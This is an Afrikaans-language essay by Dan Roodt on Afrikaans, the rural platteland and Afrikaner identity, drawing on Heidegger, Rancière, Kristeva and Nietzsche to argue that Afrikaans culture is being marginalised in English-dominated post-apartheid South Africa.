Taal, landskap en identiteit

Download PDF
Download PDF
Download PDF
Download PDF

Dan Roodt

Die kwessie rondom taal is besig om dié aangaande ras te vervang as die belangrikste enkele strydpunt in Suid-Afrika. Selfs gedurende die grondwetlike onderhandelinge tussen die Nasionale Party en die ANC tydens die aanloop tot die 1994-verkiesing het slegs drie vraagstukke hul onderskeie standpunte geskei, naamlik eiendomsreg, die sogenaamde uitsluitingsklousule (waarvolgens ’n werkgewer stakende werkers kon uitsluit), en natuurlik, die reg op, of soos dit geblyk het, die keuse van moedertaalonderrig in staatskole. Die berugte rassevraagstuk het nie eens ter sprake gekom nie, wat sekerlik vreemd mag aandoen aan enigiemand buite Suid-Afrika waar rassesegregasie of die woord “apartheid” ewe beskrywend van ons geag word as byvoorbeeld “rewolusie” van Frankryk.

Maar dit wat hier volg, is geen politieke geskrif of poging om tot ’n politieke debat toe te tree nie, hoe gepolitiseer die taalkwessie in Suid-Afrika ook al mag wees. In die eerste plaas gaan dit vir my om ’n besinning oor ’n ervaring van vreemdelingskap in my eie land, ’n soort interne eksiel of ballingskap waarmee ek daagliks as nie-Engelse persoon gekonfronteer word. Op pad tussen Stellenbosch en Franschhoek, in een van die oudste en mees oorwegend Afrikaanse dele in die land, sien ek ’n reusagtige groot padteken wat tweetalig in Engels en Xhosa aangebring is. Op my paspoort is daar deesdae net Engels en Frans, wat my daaraan herinner dat die Suid-Afrikaanse staat kwalik meer Afrikaans as taal erken, hoewel dit in naam steeds een van elf amptelike tale is. Rondom my is daar vele Afrikaners, vele stoere Afrikaners moet ’n mens byvoeg, wat angsvallig besig is om hul kinders in Engels op te voed, kinders met name soos “Justin” en “Megan”, asof die ouers reeds geestelik verhuis het na ’n Engelssprekende land en nie hul spruite met onuitspreekbare Germaans-klinkende name wou opsaal nie.

’n Kafkaeske waas kleef aan dit alles, asof ons almal skuldig is aan ’n onnoembare misdaad en nou daarvoor moet boetedoen deur ontneem te word van ons kulturele burgerskap. Die verskriklike gemeenplaas “apartheid” het sekerlik iets daarmee te doen, maar verduidelik nogtans nie alles nie. Buitendien ervaar ek reeds jare lank hierdie Afrikaanse woord as iets vreemds en onsinnigs, ’n versameling letters wat ek vir die eerste keer gesien het toe ek ’n straat oorsteek in ’n vreemde stad in ’n vreemde land waar dit skielik in wit op die pad geverf voor my opgedoem het.

Denke oor taal en kultuur in Suid-Afrika behaal sy absurdste hoogtepunte juis op amptelike of kwasi-amptelike vlak. In hierdie verband herinner ’n mens jou die uitspraak van regter Johann Kriegler wat beweer het dat indien twee Yslandse kinders ’n Afrikaanse skool sou bywoon, die hele skool sy onderrigmedium na Yslands behoort te verander. Miskien is Ysland hier ’n metafoor vir die amptelike kilheid jeens Afrikaans, of miskien was dit ’n subtiele manier om te sê dat Afrikaans net soos Oud-Yslands, daardie belangrike literêre taal van die sages, sou kon vergaan om iewers in die toekoms net deur spesialiste begryp te word.

Ek sou graag hier wou aanhaal uit die Oud-Yslands, maar as ’n plaasvervanger deel ek graag met die leser die volgende frase van Reinhart die Vos in die Middel-Nederlandse weergawe:

Het staet so, suldi hebbe vrome,
Hier ne mach zijn geen langher staen.
Volghet mi, ic sal voeren gaen.
Wi houden desen crommen pat,

wat rofweg die volgende beteken: “ons kom nêrens deur langer te talm nie, volg my, ek gaan voor, ons neem dié kronkelende pad.” Omdat ons Reinhart ken, weet ons dat dit ietwat riskant is om enige kronkelende pad met hom aan te durf. Só ook die huidige teks, wat begin met ’n kronkelende rit per motor tussen Johannesburg en die Hartebeespoortdam, ’n heel opwindende tog deur rante en klowe wat met aalwyne, verknoetste kareebome en rotsblokke van ysterklip besaai is, brûe oor spruite en riviere, asook skielike draaie en hoogtes wat teen ’n sekere spoed ontstemmend kan raak.

Niks kan meer skokkend wees in die Franse sin van chocquant, as juis die oorgang vanaf, sê maar, Sandton City of die Rosebank Mall, na die Magaliesberg via daardie kronkelpad nie. ’n Mens sou dit ’n Proustiaanse verplasing kon noem, dog sonder om reg aan Proust te laat geskied aangesien syne nooit per motor plaagevind het nie, slegs per trein. Die Europese reisiger is gewoond daaraan om vir twee ure te ry en agterna hom in ’n ander land te bevind, met ’n ander taal, ’n ander mentaliteit, ander gewoontes, kookkuns, gebare, plekname wat moeilik is om uit te spreek. Anderkant die Hartebeespoortdam lê distrikte soos Elandskraal, Mooinooi, die dorpe Rustenburg en Brits, die “diep platteland” soos dit bekend was in die politieke joernalistiek van die ou Suid-Afrika. Dog, anders as op die Europese Vasteland, heg die welaf Engelse inwoners van noordelike Johannesburg nóg waarde aan die kultuur, die taal, die kookkuns, die geskiedenis van hul bure agter die berg, nóg toon hulle hoegenaamd enige belangstelling daarin. Op ’n manier is hulle soos Brittanje se Euroskeptici: hulle staan vyandig teenoor die nie-Engelse, hulle vrees hul komplekse gewoontes en gevoelighede, hulle verag hul gebrek aan Engelse gesonde verstand (“common sense”). ’n Mens kan nie anders as om ’n verband te sien tussen Me Metcalfe se veldtog vir die Engelse taal in skole en die stelling ’n rukkie terug van mnr John Major, toe nog leier van die Tories, dat “Engeland die baarmoeder van die Westerse beskawing” is nie. Vergeet van die Grieke, die Romeine, die Italianers, die Franse, die Duitsers, slegs Engeland het kaart en transport vir die Westerse erfenis.

Daar is tekens dat die platteland — daardie ironiese term vir dit wat onplat voor ons uitstrek — en sy kultuur wat veel meer omvat as bloot die Afrikaanse taal, voortaan aan ’n destruktiewe vorm van herkolonisering, afrikanisering, noem dit wat jy wil, onderwerp gaan word, iets wat na my mening verreikende implikasies het nie net vir die Suid-Afrikaanse kultuur as geheel nie, maar vir ons syn en wese in Suid-Afrika.

Heidegger in sy reaksie op die onafwendbare indringing van tegnologie binne die menslike bestaan het twee houdings geformuleer wat ons behoort in te neem en wat ons mag red as denkende wesens met ’n estetiese projek op aarde. Die eerste is “Gelassenheit zu den Dingen1, wat letterlik in Afrikaans vertaal kan word as “gelatenheid teenoor dinge”. Dit is ’n manier van beide ja en nee te sê teenoor die veranderinge, tegnologies en andersins, wat ’n uitwerking op ons het. Die tweede houding is “Öffenheit für das Geheimnis”, wat weer eens letterlik “oopheid teenoor die geheimenis” beteken. Beide hierdie opvattinge het betrekking op die menslike wese as ’n gewortelde entiteit, gewortel ook in sy geboorteland, sy “pays” soos die Franse sê. Heidegger haal die Duitse digter Johann Peter Hebel aan waar hy sê:

Ons is plante wat — of ons dit wel erken of nie — met ons wortels uit die aarde moet opgroei ten einde in die eter te bloei en vrugte te dra.

Die koloniale ervaring is ’n ontwortelde en ontwortelende, wat in die huidige konteks die estetiese armoede van koloniale kultuur verklaar. Die eindelose moralisme en stereotipering van wat veral in die buiteland bekend staan as “South African literature” val na my mening binne die kategorie van koloniale kultuur. Daarteenoor staan iets soos die onlangse werke van Karel Schoeman, veral die roman Hierdie Lewe 2, wat ’n hoë vlak van “Öffenheit für das Geheimnis” openbaar in die gevoelvolle beskrywings van die Karoo 3, die uitgestrektheid van die landskap en die ongenaakbaarheid van die karakters. Dit lyk asof hy iets vasvang van die tragedie van ’n Karoobestaan tydens die vorige eeu, en by uitbreiding, van die hele platteland. Historici het al dikwels aanmerkings gemaak oor die ekonomiese wankelrigheid van ’n plattelandse bestaan in Suid-Afrika, die gebrek aan standhoudende en voorspelbare reënval, wat tot die nomadisme van beide die Trekboere en swart stamme uit vorige eeue gelei het. Om dus die landskap te beskou is om in ’n sekere sin jou oë te laat gaan oor ’n Leidensgeschichte, die bitter geskiedenis van soveel pogings om te oorleef op meesal droë of brak grond.

Die geskiedenis van Engels in Suid-Afrika is, behalwe Natal, hoofsaaklik ’n stedelike verhaal, sonder woorde om die besonderhede van ons landskap met sy “koppies” en “rante” uit te druk, sy “klowe” en “skeure”, en geen plekname wat die wanhoop van “Putsonderwater” vervat, of die waterobsessies wat hul in soveel “-fonteine” en “-spruiteoor” die hele land herhaal. Die verhaal van die platteland is duidelik ’n Afrikaanse, en die paring van taal en landskap oor die eeue heen het ’n spesifiek plaaslike kultuur geproduseer, wat uiteindelik groot gewig behoort te hê binne die hutspot van ’n Suid-Afrikaanse kultuur. In die mate waartoe Afrikaners en Suid-Afrikaanse swartes tot die Engelse kultuur bydra, staan hulle in dieselfde verhouding tot Engeland as die Skotte, die Walliesers en die Iere: die grootsheid van Engelse of Britse kultuur, ten minste sover dit die letterkunde betref, is te wyte aan die pogings van kunstenaars en skrywers vanuit die geledere van die oorwonne volke wat poog om hul eie sin van waardeloosheid en minderwaardigheid te besweer deur die voortreflikheid van hul werke.

Die Engelse media, en veral die dommer-as-dom buitelandse media, stel die platteland voor as die ligging van wit fascisme, enersyds, en swart armoede, andersyds. Kultureel gesproke is dit ontdaan van enige belang. En tog, tensy ’n mens aan ’n laat vorm van sosiale realisme glo, kan alle fasette van menslike bestaan nie gepolitiseer word nie. As die monochroombril van sosio-politieke cliché afgehaal word, raak die platteland inderdaad kleurvol, welluidend met die stemme van ongekunstelde dog goedgeaarde mense.

Die fassinasie van die volk, le peuple, das Volk, the people, vir intellektuele is bespreek deur Jacques Rancière in sy boek Courts voyages au pays du peuple 4 — “Kort reise deur die land van die volk.” Volgens hom is die platteland baie nader aan ons as wat ons vermoed:

ces contreés toutes proches qui offrent au visiteur l’image d’un autre monde. De l’autre côté du détroit, un peu à l’écart du fleuve et de la grand-route, au bout de la ligne des transports urbains, vit un autre peuple, à moins que ce ne soit simplement le peuple. Le spectacle imprévu dúne autre humanité s’offre sous ses diverses figures: retour à l’origine, descente aux enfers, avènement de la terre promise. 5

[hierdie nabygeleë kontreie wat aan die besoeker ’n blik op ’n ander wêreld bied. Oorkant die détroit, ietwat verwyder van die rivier of die grootpad, aan die einde van die stedelike vervoerstelsel, leef ’n ander volk, ’n mens sou sover kon gaan om te sê: die volk. Die onverwagse skouspel van ’n ander mensdom bied hom in verskeie vorme aan: terugkeer na die oorsprong, hellevaart, koms van die beloofde land.]

Ten spyte van die kultuurapartheid van die nuwe Suid-Afrika wat die platteland wil amputeer ten behoewe van ’n stedelike Engelse en grotendeels ingevoerde Hollywoodkultuur, herken ons die volk as Afrikaans. Selfs die swartes hier praat Afrikaans. Eugène Marais se Waterberg, Breyten Breytenbach se Wellington of Bonnievale, dit alles is maar inkarnasies van hierdie l“and van die volk” binne Rancière se definisie. Dit is waar ons wortels heen strek, waaruit die digter sy inspirasie put of waar ons gewoon die modes en pretensie van die stad afskud en weglê aan ’n bredie en wyn wat in ’n blikbeker geskink kan word.

Die platteland en die volk wat dit bewoon, is egter veelduidig, soos ook uit die hierbo-aangehaalde gedeelte blyk: dit kan óf hellevaart óf beloofde land, of selfs iets anders wees. Trouens, die grond, die bodem is ideologies dubbelsinnig. Die grond is enersyds die lokus van identiteit en nasionalisme, selfs fascisme, maar terselfdertyd is dit die eindbestemming van rewolusionêre vooruitgang waar grondlose kleinboere of die proletariaat oplaas weer hervestig kan word sodat hulle die verlore Eden mag terugvind van waar hulle verjaag is deur die kapitalisme, kolonialisme en apartheid. In Duitsland is die Blut und Boden-slagspreuk uit die dertigerjare vervang deur die groen “terug-na-die-natuur”, twee oënskynlik teenoorgestelde bewegings.

In Suid-Afrika word die sin van die grond en by uitbreiding van die platteland verder gekompliseer deur die nomadiese tradisies van die verlede. Die afsku waarmee ’n sedentêre Engels-koloniale bewind die rustelose Trekboere bejeën het, is verwant aan die idee dat hulle besig was om weg te trek van die beskawing as sodanig, dat hulle as ’t ware op vlug geslaan het voor die beskawing self. Hierdie paradoks van Europese nomades word soos volg beskryf deur De Kiewiet in sy History of South Africa 6 waar hy met kenmerkende Engelse afkeur opmerk:

In the long quietude of the eighteenth century the Boer race was formed. In the vast, unmysterious, thirsty landscape of the interior lay the true centre of South African settlement. When the Trekboers entered it with their flocks and tented wagons, they left the current of European life and lost the economic habits of the nations from which they had sprung. Though they never became true nomads, the mark of nomadism was upon them, and their dominant traits were those of a restless and narrow existence. They had the nomad’s appetite for space and possessed the hardness and courage of men of the saddle who watch their flocks and hunt their meat. Their wealth was in their cattle and in their sons and grandsons, who were born numerously and who thrived amazingly. Their life gave them a tenacity of purpose, a power of silent endurance, and the keenest self-respect. But this isolation sank into obstinacy, their power of endurance into resistance to innovation, and their self-respect into suspicion of the foreigner and contempt for their inferiors. For want of formal education and sufficient pastors, they read their Bibles intensively, drawing from the Old Testament, which spoke the authentic language of their lives, a justification of themselves, of their beliefs and their habits. 7

Waarskynlik sou dié teks môre op CNN gelees kon word apropos van Afrikaners vandag, en niemand sou ’n wenkbrou daaroor lig nie. Hierdie beperkte siening van die Boer en die Afrikaner wat neffens die Europese beskawing leef of geleef het, geld nog steeds. Op ’n manier word die platteland of binneland nog altyd gesien as onaanloklik (“forbidding”). Die koloniale afsku vir die binneland en sy inwoners is magistraal beskryf deur Peter Blum in sy satiriese gedig “Rooinekke op Hermanus” wat in jukstaposisie met De Kiewiet se siening aangehaal kan word.

O gestilde
sinnebeeldvoëls, simboolvlerke, jul pryk
teen sononder, klaar met dool, enkel embleem
van hierdie seksie onwilde, ongewilde
vasgemeerde, aarde-agterhaalde ryks-
arende, pensioentrekkers op ou roem,
wat koel staan teenoor óns rumoer, kil-vreemd
— nie aanvoel wat óns bedoel, ín ons woel:
hartstog-verleerde, wrok-onbegrypende
sege-moeg, effens geaffronteerde
see-afkykers, agterland-afgekeerdes
wat hoegenaamd niks nie brandelik begeer. 8

Blum, ’n Duitser, skryf hier in sy aangenome taal, Afrikaans. Dit is miskien ironies dat hy moes doodgaan in ’n gestig in Engeland, tuiste van die rooinekke. In ’n sekere sin is hy ’n vreemdeling wat oor ander vreemdelinge skryf in ’n taal wat deur baie deesdae gesien word as synde ’n vreemde taal in die Engelse Suid-Afrika, iets wat jy net met onderskrifte kan verstaan. In die jargon van die nuwe Suid-Afrika sou Blum nie kwalifiseer vir die benaming “South African writer or poet” nie. Dit is ’n eienaardige verwikkeling aangesien die ryksarende van die gedig, wat hul pensioen trek op ou roem, skynbaar hulself op die oneerbiedige digter gewreek het. Hul gebrek aan hartstog, hul “kil-vreemdheid” het hulle kennelik goed te pas gekom; die digter het nou iets van ’n uitgestorwe spesie geword, nie die ryksarend nie. Maar tydens die gedig — vir ’n oomblik — vier ons die majesteit van daardie innerlike of binnelandse ruimte, daardie land wat Hermanus omring en waarvan die ryksarende as “agterland-afgekeerdes” hulself afgesluit het. Dit is ’n land, die land van die digkuns, waar elkeen en niemand ’n vreemdeling is nie.

De Kiewiet besef waarskynlik nie dat nomadisme en chauvinisme mekaar uitsluit nie, want die nomade bewerkstellig nie ’n verhouding met die grond wat stabiel genoeg is om as outochtoon gereken te word en dus ander as vreemdelinge te sien nie. Die Boere is “obstinaat” omdat hulle nie die Britse bewind wou aanvaar nie, en kultureel nie hulself wou verengels in ’n beskaafde Engelse Suid-Afrika nie. As historikus van die ryksarende bejeën hy hulle met al die chauvinistiese veragting waartoe die beskaafde man in staat is wanneer hy van aangesig tot aangesig met die barbaarse nomade verkeer. En ook: die proses van trek maak van die Boere vreemdelinge-in-wording wat die Westerse beskawing verlaat en sodoende verafrikaans in die mees radikale sin. Op ’n stadium gaan ’n mens die proses moet ondersoek waardeur die Engelse afkeer van Afrika en rassisme wat aanvanklik op barbare van alle rasse en kulture gefokus was, deur ’n Freudiaanse vorm van “oordrag” uitsluitlik tot Afrikanerhaat en veral onderdrukking van die Afrikaanse taal as ’t ware “gedistilleer” is. (Dit is ’n Freudiaans-Lacaniaanse projek-in-die-kleine wat heel prettig mag wees, aangesien “oordrag” ook een van die belangrikste onderliggende konsepte was by daardie resente Amerikaanse mode wat iets met “con” te make het soos in “decon …” en “déconner”, om nie van die “connards” te vergeet nie.)

Die beweging van mense op die grond, en selfs die wortelskiet van hul kultuur, hul taal en die naamgewing wat ontstaan uit hul interaksie en waarneming van die omgewing, die benoeming van bome en voëls en diere, dit alles vind binne menslike tyd plaas. Die landskap verander egter baie stadig, ongemerk binne geologiese tyd wat mensewesens beswaarlik kan voorstel. In ’n sekere sin is menslike kultuur dus vreemd aan die land, en selfs ons spesie is ’n immigrantespesie wat vandag hier mag wees en môre nie meer nie.

Na my mening is daar steeds ’n humanistiese en daarom antropomorfiese element aan Heidegger se begrip van kultuur as ’n vorm van organiese groei, waarna hierbo verwys is. Dit is waar dat kultuur moeilik kan bestaan sonder wortels: die déracinés binne Suid-Afrikaanse konteks woon slegs hier om die lekker inkopies, en hulle migreer maklik na waar die inkopies beter is (of miskien veiliger). Die plattelander, daarenteen, staar ’n bietjie soos Tityrus in Vergilius se eerste Herdersgedig 9 na die grootte van Rome wat oor Naboomspruit toring soos die statige sipres oor die beskeie vibernum, en besluit dat hy die eenvoudige, stoïsynse lewe verkies bo die inkopies te midde van die stadsrumoer. Dog soms het hy geen keuse nie, soos Meliboeus wat van sy grond afgesit is vanweë ’n gebrek aan politieke vriende in Rome. Uiteindelik speel die kans ’n rol daarin of ’n mens toegelaat sal word om aan te bly of gedwing sal word om te vertrek, of ’n mens jou wortels gaan behou of nie. Daar bestaan iets soos ’n taalkundige ekologie, en tale, soos spesies, is besig om uit te sterf. Anders as Darwin se idee van natuurlike seleksie, word die proses van uitsterwing grootliks gedryf deur toevallige gebeure, deur die kans. Die ekologie, taalkundig of andersins, is ’n stogastiese proses. Daar word gesê dat 99,9% van alles spesies wat ooit op aarde bestaan het, reeds uitgesterf het. Die taalkundige verskeidenheid van die platteland mag kwesbaar wees vir die funeste gevolge van ’n toevallige gebeurtenis, wat die vorm van ’n droogte mag aanneem, of die goudprys op $200, of ’n besluit in Rome.

Is ons almal vreemdelinge? Dit is waarskynlik die siening van Julia Kristeva waar sy sê:

Étrangement, l’étranger nous habite : il est la face cachée de notre identité, l’espace qui ruine notre demeure, le temps où s’abîme l’entente et la sympathie. De le reconnaître en nous, nous nous épargnons de le détester en lui-même. Symptôme qui rend précisément le <> problématique, peut-être impossible, l’étranger commence lorsque surgit la conscience de ma différence et s’achève lorsque nous nous reconnaissons tous étrangers, rebelles aux liens et aux communautés. 10

[Vreemd genoeg woon die vreemdeling binne-in ons: hy is die keersy van ons identiteit, die ruimte wat ons tuiste ruïneer, die tyd waarin wedersydse begrip en meegevoel afbreek. Deur dit binne-in ons te herken, vermy ons dit om dieselfde ding in hom te verag. ’n Simptoom wat juis die “ons” problematies maak, miskien selfs onmoontlik, die vreemdeling begin sodra die bewustheid van my andersheid na vore tree en word voltooi sodra ons onsself herken as synde almal vreemdelinge, rebelle teenoor bande en teenoor gemeenskappe.]

In terme hiervan word ’n mens ’n vreemdeling — “volksvreemd”! — sodra jy teen die gemeenskap rebelleer, of selfs bewus raak van jou eie individualisme. Die platteland is geen vreemdeling as dit by rebellie kom nie, gedagtig aan 1914 of Van Melle se Bart Nel 11, maar is miskien minder verdraagsaam teenoor anderse individue as die stad. Aan die ander kant, deur sy andersheid te behou teenoor die imperiale hinterland van nywerheid en handel, sy ekologie te handhaaf, brei die platteland miskien sy dade van rebellie uit. Kollektief is die platteland tot vreemdeling verklaar, wat miskien lig daarop werp waarom vreemdelinge nie so goed behandel word in sy midde nie.

’n Verwante probleem aan dié van vreemdeling-wees (of dié van setlaar en boorling) is dié van suiwerheid. Op verskillende tye sal verskeie “groepe” — ek gebruik doelbewus ’n gelade term uit die onlangse verlede — aanspraak daarop maak om waaragtig inheems te wees. Hulle was eerste daar, dis die land van húl voorvaders, hulle is die meerderheid, of die uitverkore minderheid, wat die geval ook al mag wees. Hierdie aanspraak is van dieselfde tipe as die aanspraak op rassesuiwerheid, want dit veronderstel ’n goddelike of regskape oorsprong. Dus het ons gevorder vanaf ’n ideologie van rassesuiwerheid tot nedersettingsuiwerheid. Die amptelike siening van die Afrikaanse taal het geëvolueer vanaf die siening onder die Britse bewind in die Kaap tydens die negentiende eeu dat dit die resultaat was van ras- en taalvermenging, wat toentertyd afkeurenswaardig was, na die huidige voorstelling van beide die ANC en die Engelstalige media van ’n wit Afrikanertaal wat gestigmatiseer is deur apartheid en gepaardgaande neigings tot rassesuiwerheid en eksklusiwiteit. Duidelik is geeneen van hierdie sienings korrek as dit gemeet word aan taalkundige of demografiese kriteria nie. Wat ons hier sien, is ’n soort omgekeerde diachroniese dialektiek waar die boosheid van gister figureer as die goeie van vandag, en andersom.

Ook die fassinasie met die ontstaan van Afrikaans as taal wat uiting gevind het in vele taalkundige teorieë sedert die negentiende eeu moet in hierdie lig gesien word. Tot vandag toe word die opvatting van Valkhoff gehuldig dat Afrikaans ’n soort Kreoolse taal is wat sy oorsprong had in die pidginisering van Nederlands deur die Koen-bevolking of Hottentotte. In die negentiende eeu is hierdie gemengde herkoms van Afrikaans gesien as bron van onsuiwerheid, as “kitchen Dutch”, ’n term wat die taalkundige verbastering moes benoem wat die taal nie waardig gemaak het om soos die Europese tale oor ’n Bybelvertaling te beskik nie. Watter ironie is dit nie dus dat Afrikaans vandag juis as rassuiwere witmanstaal voorgehou word nie, die dialek van die AWB en dergelike. Binne die kleinlike rastaalpolitiek van Suid-Afrika het Afrikaans daarom binne die bestek van ’n eeu gevorder van nie-blanke taal tot blanke taal, ongelukkig in omgekeerde orde van politieke korrektheid.

Binne ’n gesonde-verstandparadigma het kultuur, ekologie, musiek, kuns, letterkunde, al daardie elemente wat as buitensporig, of en trop soos die Franse sê, beskou kan word, geen plek nie. Daar is ’n besonder Engelse vorm van gesonde verstand (common sense) wat onhebbelik kan wees. Dit is van die soort wat alles in terme van sy nut sien, en nie in terme van sy waarde (wat in elk geval ’n funksie van die mark is) nie. Gesonde verstand beskou die platteland as ’n blote produksiefasiliteit vir die graanmark, en taal as ’n kode vir die uitruil van inligting tussen verbruikers. Alles kan uiteindelik gereduseer word tot sy nutswaarde, en as dit nie daaroor beskik nie, kan dit vernietig word of weggegooi word. So is dit ook met identiteit, die kleur van ’n individu nie in die rassesin nie, maar in die etniese sin, selfs die stamsin. Waarom mag ons nie ’n stam hê nie, al is dit ’n wit stam? Waarom mag ons nie na Schoenberg luister nie, selfs al bestaan daar geen mark vir sy musiek nie? Waarom mag ons nie begeer nie, al is ons begeertes nie rasioneel nie?

Die kritiek op gesonde verstand — teenoor die Kantiaanse sensus communis wat iets anders is — op naïewe realisme en op naïewe empirisme is weer eens grotendeels op die Europese Vasteland gevoer, en nie op die Britse Eilande nie. Kennelik kan dit gesien word as ’n oorvereenvoudiging van twee uiteenlopende filosofiese tradisies, maar binne die kulturele debat in ons land, veral die tweehonderdjaaroue botsing tussen Engels en Afrikaans, is hierdie digotomie tussen ’n kwasi-Angel-Saksiese en ’n kwasi-Vastelandse siening van kultuur herhaal. (Ek laat hier die sogenaamde Afrikanistiese kultuursiening buite rekening omdat dit meer onlangs na vore gekom het en na my mening nie besonder afwyk van sekere fundamenteel Westerse konsepte nie.) ’n Estetiese betrokkenheid met die taal of die landskap mag vanuit die gesonde verstand-siening met sy klem op operasionele kwessies en transnasionale kommunikasie, opvoedkundige opheffing, ens, gewoon “nasionalisties” of selfs fascisties voorkom. Dog die teenoorgestelde is waar wanneer so ’n betrokkenheid vanuit die veelheid van Vastelandse tradisies soos rasionalisme, dialektisisme, of die verskeie vorme van geradikaliseerde vorme van taalkundige strukturalisme en Nietzscheanisme wat ons in die ná-oorlogse Europa vind, beskou word. Deleuze, om maar een voorbeeld te noem, het inderdaad minderheidstaal teenoor dié van die meerderheid gepriviligeer. Hy siteer onder andere die reël van Proust, “Les beaux livres sont écrits dans une sorte de langue étrangère” — “mooi boeke word in ’n soort vreemde taal geskryf” 12. In dieselfde trant praat hy van “etnos, die minderheidagtige, die vluglyn binne die struktuur, die anti-historiese element binne die Geskiedenis”. 13 Afrikaans en alles wat daarmee saamhang, dit het ons ook met die Waarheidskommissie gesien, is toenemend die ongewenste, steurende etniese element wat die samehang van die imperiale Engel se geskiedenis beduiwel. In die sogenaamde nuwe Suid-Afrika word ons gesien as behorende tot ’n voor-geskiedenis, of liefs ’n geskiedenis wat vergeet behoort te word ter wille van die heersersverhaal van swart lyding en bevryding in Engels.

Britse gesonde verstand vrywaar ’n mens boonop nie van rassisme en fascisme, veral daardie besondere variëteit waarna ek vroeër verwys het deur gebruik van die ietwat oudmodiese term, “jingoïsme”, nie. By ’n onlangse konferensie aan die Oxford Universiteit met as titel “South Africa 1895-1921: test of Empire” is die vormingsjare van die huidige semi-nywerheidsland wat ons as Suid-Afrika ken, onder die loep geneem. Die mees onlangse navorsing oor die denke van Lord Milner wat die opvoedkundige beleid met die vorige eeuwending bepaal het en ’n versnelde vorm van verengelsing en taalverdrukking ingestel het in die naam van vooruitgang en ontwikkeling — daardie twee gesonde verstand-ideale — toon duidelik ’n byna boosaardige vorm van Angel-Saksiese heerssugtigheid waarbinne die idee van ’n “heersersras” nie afwesig is nie. Die intellektuele verwarring van ons huidige regering, verskeur tussen Afrikanistiese ideale en die sogenaamde ekonomiese werklikhede wat deur oligopolistiese, koloniale belange aan hom opgedring word, mag wel ’n mutante Milnerisme toelaat in die naam van Afrikabevryding, wat selfs, indien dit te ver gevoer word, kan eindig in een of ander chiliastiese, geradikaliseerde optrede, hetsy deur ’n Kulturele Rewolusie, hetsy umahaa of statsosialisme, of die herinstelling van konsentrasiekampe.

Ek is bewus daarvan dat ek hier sinspeel op sekere van die magtige simbole van wat bekend staan as “denke van regs” binne ons konteks. Dit gaan hier egter nie om opsweping nie, maar om besinning oor die situasie waarin Afrikaans hom tans bevind. Ek durf die moontlikheid van ’n ekstreme terugkeer na Anglosentriese “social engineering” en repressie noem, juis omdat die aktivistiese, moralistiese lesing van die geskiedenis wat onlangs in Suid-Afrika gewild geword het, so kommerwekkend is. Dit is ’n “geskiedenis van die armes” wat soek na ’n enkele oorsaak vir armoede en lyding. Merendeels word dit alles geassosieer met die konsep “apartheid” waarop ek nie nou wil ingaan nie. 14 In soverre as wat die Afrikaner en Afrikaans as ’t ware daarvoor verantwoordelik gehou word dat swart Suid-Afrikaners en by uitbreiding Afrikane suid van die ewenaar nie oor dieselfde vlak van opvoeding en ’n gelykstaande lewenstandaard as die burgers van Switserland beskik nie, het ons te make met die problematiek van die sondebok waarby kwessies soos taal en identiteit wel regstreeks betrokke is. Joodse spekulante is ook verantwoordelik gehou vir die Duitse hiperinflasie tydens die Weimar-republiek, en ons weet waarop dit uitgeloop het.

Voordat ek uitwei oor die opvatting van die sondebok, is dit nodig om te probeer verstaan wat ’n stereotipe of ’n karikatuur soos daar van die Afrikaner en sy politieke betrokkenheid in Suid-Afrika gemaak is, behels. Daar is geen “identiteit” wat so sterk is soos dié van die “dumb Dutchman” nie, daardie frase wat vanaf die Engelse skoolgronde in Suid-Afrika sy weg gevind het tot die voorblad van Time of die gesanik van Europese TV-nuusaanbieders. Veral tydens my verblyf in Frankryk het ek onder die indruk gekom dat ’n mens enigiets oor Suid-Afrika, Afrikaners, Afrikaans, ens, kan kwytraak sonder dat dit in die minste aan een of ander perk of kriterium onderworpe is. Ons is fasciste, mensvreters, moordenaars, barbare, ontaarde wit mense, en wat nog. Ek kan onthou dat die wildbewaarders wat olifante uitdun in die Kruger-wildtuin op televisie voorgehou is as irrasionele wreedaards wat doodmaak omdat dit in hul eie aard is as vermoedelik wit Afrikaners. Vir diegene wat nog gewonder het oor hul identiteit in Afrikaans, is daar reeds ’n klaargemaakte een, ’n “globale identiteit”, wat waarskynlik deur miljarde mense op hierdie planeet as buite bespreking geag word.

Nieteenstaande die besondere verhouding wat daar tussen Afrikaans en die landskap bestaan, en die geworteldheid waarvan daar hierbo melding gemaak is, is dit tans nodig om oor te gaan tot ’n radikale vorm van vergeetagtigheid. By my definisie van Afrikanerskap onlangs, as synde “iemand wat van melktert of koeksisters hou”, wil ek voeg: “iemand wat sterk genoeg is om sy identiteit te vergeet.” Veral ook sy “globale identiteit”.

Sommiges sal hierin ’n Nietzscheaanse definisie van Afrikanerskap sien, en met reg. Nietzsche voel hom as ’t ware ’n vreemdeling tussen die Duitsers, hoewel niemand waarskynlik beter die Duitse taal kon gebruik as juis hy nie. As veeltalige Europeër sien hy neer op die Duitsers en, verwysende na hul kleinlike nasionalisme, chauvinisme, anti-Semitisme, verwys hy na “diese kleinen Benebelungen des Deutschen Geistes und Gewissens” 15 [“die klein bedwelminge van die Duitse gees en die Duitse gewete”]. In sy skerp onafhanklike kyk na sy vaderland — ’n “viviseksie” noem hy dit — is daar vir ons ’n les. Het dit nie tyd geword dat ook ons die skimme van die verlede van ons afwerp en opnuut die vraag vra: wat is Afrikaans, wat beteken dit nie?

Nietzsche neem verder die Duitsers kwalik dat hulle oor “geen hede” beskik nie. Hoeveel te meer is dit nie op ons van toepassing nie! As daar een aspek is van die huidige Suid-Afrika wat uitstaan, is dit die gehamer op die — sy dit dan onlangse — verlede. Elkeen kan homself moreel regverdig en sy vyand as demoon verdoem deur sy visier in te stel op die regte jaartal, of dit nou 1899 of 1976 is. Die selektiewe onthou van die verlede is in ons maatskappy tot ’n kuns verhef, by gebrek aan kuns in die ware sin van die woord. Dit is nodig om ons teen dié dialektiek te verset, deur eenvoudig te vergeet, deur onskuld teen skuld te stel, beaming teen ontkenning, die amorele teen die morele, nie-identiteit teenoor identiteit.

